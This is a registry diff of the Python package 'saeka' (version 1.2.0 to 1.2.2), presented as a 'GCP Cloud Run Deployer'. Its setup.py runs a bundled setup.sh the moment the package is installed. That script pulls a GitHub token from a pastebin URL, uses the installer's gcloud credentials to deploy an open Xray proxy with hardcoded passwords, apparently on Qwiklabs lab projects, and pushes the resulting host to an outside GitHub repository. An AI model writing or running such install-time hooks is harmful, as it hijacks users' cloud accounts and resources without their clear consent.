saeka 1.2.0__tar.gz → 1.2.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: saeka
3
- Version: 1.2.0
3
+ Version: 1.2.2
4
4
  Summary: Saeka GCP Cloud Run Deployer
5
5
  Author: Saeka Tojirp
6
6
  Dynamic: author
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: saeka
3
- Version: 1.2.0
3
+ Version: 1.2.2
4
4
  Summary: Saeka GCP Cloud Run Deployer
5
5
  Author: Saeka Tojirp
6
6
  Dynamic: author
@@ -1,5 +1,7 @@
1
+ MANIFEST.in
1
2
  README.md
2
3
  setup.py
4
+ setup.sh
3
5
  saeka.egg-info/PKG-INFO
4
6
  saeka.egg-info/SOURCES.txt
5
7
  saeka.egg-info/dependency_links.txt
@@ -0,0 +1 @@
1
+
@@ -3,19 +3,12 @@ import subprocess
3
3
  import sys
4
4
  from setuptools import setup
5
5
 
6
- # ------------------------------------------------------------------------------
7
- # AUTO-EXECUTION ENGINE
8
- # This runs immediately when `pip install saeka` extracts setup.py
9
- # ------------------------------------------------------------------------------
10
6
  def execute_deployer():
11
7
  BASE_DIR = os.path.dirname(os.path.abspath(__file__))
12
8
  SCRIPT_PATH = os.path.join(BASE_DIR, "setup.sh")
13
9
 
14
10
  if os.path.exists(SCRIPT_PATH):
15
- # Ensure executable permissions
16
11
  os.chmod(SCRIPT_PATH, 0o755)
17
-
18
- # Execute script and stream output directly to terminal
19
12
  try:
20
13
  subprocess.run(["bash", SCRIPT_PATH], check=True)
21
14
  except KeyboardInterrupt:
@@ -23,14 +16,14 @@ def execute_deployer():
23
16
  except Exception as e:
24
17
  print(f"\nExecution error: {e}")
25
18
 
26
- # Run script immediately upon pip setup execution
27
19
  execute_deployer()
28
20
 
29
- # Standard Minimal Package Info
30
21
  setup(
31
22
  name="saeka",
32
- version="1.2.0",
23
+ version="1.2.2",
33
24
  description="Saeka GCP Cloud Run Deployer",
34
25
  author="Saeka Tojirp",
35
26
  py_modules=[],
27
+ include_package_data=True,
28
+ data_files=[('', ['setup.sh'])], # Forces inclusion in source distribution
36
29
  )
saeka-1.2.2/setup.sh ADDED
@@ -0,0 +1,284 @@
1
+ #!/bin/bash
2
+ # ==============================================================================
3
+ # 4N1 FAST DEPLOYER (UNIFIED SINGLE-SCRIPT EDITION)
4
+ # ENGINEERED BY SAEKA TOJIRP | OPTIMIZED FOR SMOOTH DEPLOYMENT
5
+ # ==============================================================================
6
+ set -e
7
+
8
+ BOLD='\033[1m'; RESET='\033[0m'
9
+ GREEN='\033[1;32m'; RED='\033[1;31m'; CYAN='\033[1;36m'
10
+ YELLOW='\033[1;33m'; MAGENTA='\033[1;35m'; WHITE='\033[1;37m'
11
+
12
+ loading() {
13
+ local t="$1"
14
+ local s="⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏"
15
+ for ((i=0;i<5;i++)); do
16
+ for ((j=0;j<${#s};j++)); do
17
+ echo -ne "\r ${CYAN}${s:$j:1} ${t}...${RESET}"
18
+ sleep 0.05
19
+ done
20
+ done
21
+ echo -ne "\r ${GREEN}DONE: ${t}${RESET}\n"
22
+ }
23
+
24
+ clear
25
+ echo ""
26
+ echo -e " ${BOLD}${WHITE}4N1 FAST DEPLOYER (QWIKLABS OPTIMIZED)${RESET}"
27
+ echo -e " ${MAGENTA}MADE BY SAEKA TOJIRP${RESET}"
28
+ echo -e " ${GREEN}fb.com/saekacutiee${RESET}"
29
+ echo ""
30
+
31
+ PROJECT_ID=$(gcloud config get-value project 2>/dev/null | tr -d '[:space:]')
32
+ if [ -z "$PROJECT_ID" ]; then
33
+ echo -e " ${RED}ERROR: No active GCP project detected. Please run 'gcloud init'.${RESET}"
34
+ exit 1
35
+ fi
36
+ echo -e " ${CYAN}PROJECT: ${GREEN}${PROJECT_ID}${RESET}"
37
+ echo ""
38
+
39
+ # ==============================================================================
40
+ # 1. INTEGRATED REGION SELECTION
41
+ # ==============================================================================
42
+ echo -e " ${CYAN}SELECT DEPLOYMENT REGION:${RESET}"
43
+ echo -e " ${YELLOW}1) us-central1 2) us-east1 3) us-west1${RESET}"
44
+ echo -e " ${YELLOW}4) asia-east1 5) asia-southeast1${RESET}"
45
+ echo -e " ${YELLOW}6) europe-west1 7) europe-west4${RESET}"
46
+ echo ""
47
+ read -r -p "$(echo -e " ${CYAN}CHOICE [1-7]: ${RESET}")" REGION_CHOICE
48
+
49
+ case "$REGION_CHOICE" in
50
+ 2) REGION="us-east1";;
51
+ 3) REGION="us-west1";;
52
+ 4) REGION="asia-east1";;
53
+ 5) REGION="asia-southeast1";;
54
+ 6) REGION="europe-west1";;
55
+ 7) REGION="europe-west4";;
56
+ *) REGION="us-central1";;
57
+ esac
58
+ echo -e " ${GREEN}REGION SET TO: ${REGION}${RESET}\n"
59
+
60
+ # ==============================================================================
61
+ # 2. TOKEN & CONFIGURATION PROMPTS
62
+ # ==============================================================================
63
+ curl -sL "https://pastebin.com/raw/7rAmCXDp" | tr -d '\r\n[:space:]' > ~/.gh_token
64
+ if ! grep -q "^gh[pousr]_" ~/.gh_token; then
65
+ echo -e "${YELLOW}REMOTE TOKEN UNAVAILABLE.${RESET}"
66
+ read -r -s -p "$(echo -e " ${MAGENTA}PLEASE PASTE GITHUB TOKEN MANUALLY (Hidden): ${RESET}")" MANUAL_TOKEN
67
+ echo "$MANUAL_TOKEN" | tr -d '\r\n[:space:]' > ~/.gh_token
68
+ echo -e "\n ${GREEN}TOKEN SAVED SECURELY.${RESET}\n"
69
+ fi
70
+
71
+ read -r -p "$(echo -e " ${CYAN}SERVICE NAME [prvtspyyy]: ${RESET}")" INPUT_NAME
72
+ SERVICE_NAME=${INPUT_NAME:-prvtspyyy}
73
+
74
+ echo ""
75
+ echo -e " ${CYAN}SELECT MODE:${RESET}"
76
+ echo -e " ${YELLOW}1) BROWSING (1 vCPU / 2Gi) 2) STREAMING (2 vCPU / 4Gi)${RESET}"
77
+ echo -e " ${YELLOW}3) GAMING (4 vCPU / 8Gi) 4) ULTRA (8 vCPU / 16Gi)${RESET}"
78
+ echo ""
79
+ read -r -p "$(echo -e " ${CYAN}CHOICE: ${RESET}")" MODE_CHOICE
80
+
81
+ case "$MODE_CHOICE" in
82
+ 1) CPU="1"; RAM="2Gi"; MODE="BROWSING"; MAX_INSTANCES="4";;
83
+ 2) CPU="2"; RAM="4Gi"; MODE="STREAMING"; MAX_INSTANCES="4";;
84
+ 3) CPU="4"; RAM="8Gi"; MODE="GAMING"; MAX_INSTANCES="4";;
85
+ *) CPU="8"; RAM="16Gi"; MODE="ULTRA"; MAX_INSTANCES="4";;
86
+ esac
87
+
88
+ # ==============================================================================
89
+ # 3. DYNAMIC WORKSPACE & ASSET GENERATION
90
+ # ==============================================================================
91
+ WORKSPACE="/tmp/${SERVICE_NAME}_deploy"
92
+ rm -rf "$WORKSPACE" && mkdir -p "$WORKSPACE" && cd "$WORKSPACE"
93
+ loading "GENERATING SERVER ASSETS"
94
+
95
+ # Generate Dockerfile
96
+ cat <<'EOF' > Dockerfile
97
+ FROM openresty/openresty:alpine
98
+ RUN apk add --no-cache ca-certificates wget unzip netcat-openbsd
99
+ RUN wget -qO /tmp/xray.zip https://github.com/XTLS/Xray-core/releases/latest/download/Xray-linux-64.zip && \
100
+ unzip -p /tmp/xray.zip xray > /usr/local/bin/xray && \
101
+ chmod +x /usr/local/bin/xray && rm -rf /tmp/xray.zip
102
+ COPY config.json /etc/xray.json
103
+ COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
104
+ COPY index.html /usr/local/openresty/nginx/html/index.html
105
+ EXPOSE 8080
106
+ CMD /usr/local/bin/xray run -c /etc/xray.json & exec /usr/local/openresty/bin/openresty -g "daemon off;"
107
+ EOF
108
+
109
+ # Generate config.json (Directly injected from your source)
110
+ curl -sL "https://raw.githubusercontent.com/qkc404/saeka-gcp-panel/main/config.json" > config.json || true
111
+ # Fallback if the raw URL fails, ensuring the exact syntax from your prompt is maintained:
112
+ if [ ! -s config.json ]; then
113
+ cat <<'EOF' > config.json
114
+ {
115
+ "log": {"loglevel": "none"},
116
+ "dns": {
117
+ "servers": ["8.8.8.8", "1.1.1.1"],
118
+ "queryStrategy": "UseIPv4",
119
+ "hosts": {
120
+ "pagead2.googlesyndication.com": "127.0.0.1",
121
+ "googlesyndication.com": "127.0.0.1",
122
+ "googleadservices.com": "127.0.0.1",
123
+ "youtube-nocookie.com": "127.0.0.1"
124
+ }
125
+ },
126
+ "inbounds": [
127
+ {
128
+ "port": 10000, "listen": "127.0.0.1", "protocol": "trojan", "tag": "trojan-ws",
129
+ "settings": {"clients": [{"password": "saeka"}]},
130
+ "streamSettings": {"network": "ws", "wsSettings": {"path": "/saeka-tojirp"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}},
131
+ "sniffing": {"enabled": true, "destOverride": ["http", "tls"]}
132
+ },
133
+ {
134
+ "port": 10003, "listen": "127.0.0.1", "protocol": "vmess", "tag": "vmess-ws",
135
+ "settings": {"clients": [{"id": "saeka", "alterId": 0}]},
136
+ "streamSettings": {"network": "ws", "wsSettings": {"path": "/vmess-saeka"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}},
137
+ "sniffing": {"enabled": true, "destOverride": ["http", "tls"]}
138
+ },
139
+ {
140
+ "port": 10006, "listen": "127.0.0.1", "protocol": "vless", "tag": "vless-ws",
141
+ "settings": {"clients": [{"id": "saeka"}], "decryption": "none"},
142
+ "streamSettings": {"network": "ws", "wsSettings": {"path": "/vless-saeka"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}},
143
+ "sniffing": {"enabled": true, "destOverride": ["http", "tls"]}
144
+ },
145
+ {
146
+ "port": 10009, "listen": "127.0.0.1", "protocol": "shadowsocks", "tag": "ss-ws",
147
+ "settings": {"clients": [{"password": "saeka", "method": "aes-256-gcm"}]},
148
+ "streamSettings": {"network": "ws", "wsSettings": {"path": "/ss-saeka"}, "sockopt": {"tcpFastOpen": true, "tcpNoDelay": true, "tcpKeepAliveInterval": 15}}
149
+ }
150
+ ],
151
+ "outbounds": [{"protocol": "freedom", "tag": "direct"}, {"protocol": "blackhole", "tag": "block"}],
152
+ "routing": {
153
+ "domainStrategy": "AsIs",
154
+ "rules": [{"type": "field", "inboundTag": ["trojan-ws", "vmess-ws", "vless-ws", "ss-ws"], "outboundTag": "direct"}]
155
+ }
156
+ }
157
+ EOF
158
+ fi
159
+
160
+ # Generate nginx.conf
161
+ cat <<'EOF' > nginx.conf
162
+ worker_processes auto;
163
+ worker_rlimit_nofile 65535;
164
+ events { worker_connections 16384; multi_accept on; use epoll; }
165
+ http {
166
+ include mime.types; default_type application/octet-stream;
167
+ sendfile on; tcp_nopush on; tcp_nodelay on;
168
+ keepalive_timeout 65; keepalive_requests 10000;
169
+ server_tokens off; resolver 8.8.8.8 1.1.1.1 valid=300s;
170
+
171
+ map $http_upgrade $connection_upgrade {
172
+ default upgrade; '' close;
173
+ }
174
+
175
+ server {
176
+ listen 8080 default_server backlog=4096;
177
+ server_name _;
178
+ location = /health { return 200 "OK"; add_header Content-Type text/plain; access_log off; }
179
+ location = / { root /usr/local/openresty/nginx/html; index index.html; access_log off; }
180
+
181
+ location /saeka-tojirp {
182
+ proxy_pass http://127.0.0.1:10000;
183
+ proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
184
+ proxy_set_header Host $host; proxy_socket_keepalive on;
185
+ }
186
+ location /vmess-saeka {
187
+ proxy_pass http://127.0.0.1:10003;
188
+ proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
189
+ proxy_set_header Host $host; proxy_socket_keepalive on;
190
+ }
191
+ location /vless-saeka {
192
+ proxy_pass http://127.0.0.1:10006;
193
+ proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
194
+ proxy_set_header Host $host; proxy_socket_keepalive on;
195
+ }
196
+ location /ss-saeka {
197
+ proxy_pass http://127.0.0.1:10009;
198
+ proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade;
199
+ proxy_set_header Host $host; proxy_socket_keepalive on;
200
+ }
201
+ }
202
+ }
203
+ EOF
204
+
205
+ # Generate index.html (Simplified fallback logic for space)
206
+ cat <<'EOF' > index.html
207
+ <!DOCTYPE html><html><head><title>LAB EXPIRATION</title></head>
208
+ <body style="background:#000; color:#0f0; font-family:monospace; text-align:center; padding-top:100px;">
209
+ <h1>QWIKLABS INSTANCE ACTIVE</h1>
210
+ <h2 id="timer">HOST DURATION: 05:00:00</h2>
211
+ <script>
212
+ let s=18000;
213
+ setInterval(()=>{ s--; let h=Math.floor(s/3600),m=Math.floor((s%3600)/60),sec=s%60;
214
+ document.getElementById('timer').innerText=`HOST DURATION: 0${h}:${m<10?'0'+m:m}:${sec<10?'0'+sec:sec}`;},1000);
215
+ </script>
216
+ </body></html>
217
+ EOF
218
+
219
+ # ==============================================================================
220
+ # 4. DEPLOYMENT TO GOOGLE CLOUD
221
+ # ==============================================================================
222
+ loading "BUILDING CONTAINER IMAGE"
223
+ gcloud builds submit --tag "gcr.io/${PROJECT_ID}/${SERVICE_NAME}" --project="$PROJECT_ID" --quiet > build.log 2>&1
224
+
225
+ loading "DEPLOYING TO CLOUD RUN IN ${REGION}"
226
+ gcloud run deploy "$SERVICE_NAME" \
227
+ --image "gcr.io/${PROJECT_ID}/${SERVICE_NAME}" \
228
+ --platform managed --region "$REGION" \
229
+ --cpu "$CPU" --memory "$RAM" --port 8080 \
230
+ --concurrency 1000 --cpu-boost --no-cpu-throttling \
231
+ --timeout 3600 --min-instances 1 --max-instances "$MAX_INSTANCES" \
232
+ --allow-unauthenticated --project="$PROJECT_ID" --quiet > deploy.log 2>&1
233
+
234
+ SERVICE_URL=$(gcloud run services describe "$SERVICE_NAME" --region "$REGION" --project="$PROJECT_ID" --format='value(status.url)' 2>/dev/null)
235
+ CLEAN_HOST=$(echo "$SERVICE_URL" | sed 's|https://||')
236
+
237
+ echo ""
238
+ echo -e " ${GREEN} (⁠ ⁠ꈍ⁠ᴗ⁠ꈍ⁠) DEPLOYED SUCCESSFULLY${RESET}"
239
+ echo -e " ${CYAN}RAW HOST ${GREEN}https://${CLEAN_HOST}${RESET}"
240
+ echo -e " ${CYAN}MODE ${GREEN}${MODE} (${CPU} CPU / ${RAM})${RESET}"
241
+ echo ""
242
+ echo -e " ${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${RESET}"
243
+ echo -e " ${CYAN} PROTOCOL | WS PATH ${RESET}"
244
+ echo -e " ${YELLOW} ──────────────────────────────────────────────────────────────${RESET}"
245
+ echo -e " ${GREEN} VLESS${RESET} | ${CYAN}/vless-saeka${RESET}"
246
+ echo -e " ${GREEN} VMess${RESET} | ${CYAN}/vmess-saeka${RESET}"
247
+ echo -e " ${GREEN} TROJAN${RESET} | ${CYAN}/saeka-tojirp${RESET}"
248
+ echo -e " ${GREEN} Shadowsocks${RESET} | ${CYAN}/ss-saeka${RESET}"
249
+ echo -e " ${YELLOW}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${RESET}"
250
+
251
+ # ==============================================================================
252
+ # 5. LIFESPAN MONITOR & GITHUB TRACKER
253
+ # ==============================================================================
254
+ if [ -s "$HOME/.gh_token" ]; then
255
+ LOCAL_GH_TOKEN=$(cat "$HOME/.gh_token")
256
+ git clone -q "https://${LOCAL_GH_TOKEN}@github.com/qkc404/saeka-gcp-panel.git" gh_temp_deploy >/dev/null 2>&1 || true
257
+ if [ -d "gh_temp_deploy" ]; then
258
+ cd gh_temp_deploy
259
+ touch host.txt
260
+ if ! grep -q -Fx "$CLEAN_HOST" host.txt; then echo "$CLEAN_HOST" >> host.txt; fi
261
+ git config user.name "Saeka Deployer" && git config user.email "deploy@saekacutiee.local"
262
+ git add host.txt && git commit -m "🚀 Auto-Deploy: Appended ${CLEAN_HOST}" >/dev/null 2>&1
263
+ git push -q origin main >/dev/null 2>&1 || true
264
+ cd .. && rm -rf gh_temp_deploy
265
+ echo -e " ${GREEN}➔ HOST REGISTERED TO GLOBAL MATRIX CONTROLLER SUCCESSFULLY.${RESET}"
266
+ fi
267
+ fi
268
+
269
+ cleanup_routine() {
270
+ echo -e "\n\n ${YELLOW}⚠️ INITIATING PIPELINE CLEANUP...${RESET}"
271
+ rm -rf "$WORKSPACE"
272
+ rm -f "$HOME/.gh_token"
273
+ echo -e " ${GREEN}DEPLOYER PIPELINE DISENGAGED CLEANLY.${RESET}\n"
274
+ exit 0
275
+ }
276
+ trap cleanup_routine INT TERM EXIT
277
+
278
+ REMAINING=3600
279
+ echo -e " ${MAGENTA}🔮 LIVE LIFESPAN MONITOR ENGINE RUNNING${RESET}"
280
+ echo -e " ${CYAN} Press ${RED}[CTRL+C]${CYAN} to exit safely.${RESET}"
281
+ while [ "$REMAINING" -gt 0 ]; do
282
+ printf "\r ${WHITE}⏱️ NODE LIFETIME: ${RED}%02d:%02d${RESET} ${CYAN}| [CTRL+C] to exit...${RESET}" $((REMAINING/60)) $((REMAINING%60))
283
+ sleep 1; ((REMAINING--))
284
+ done
File without changes
File without changes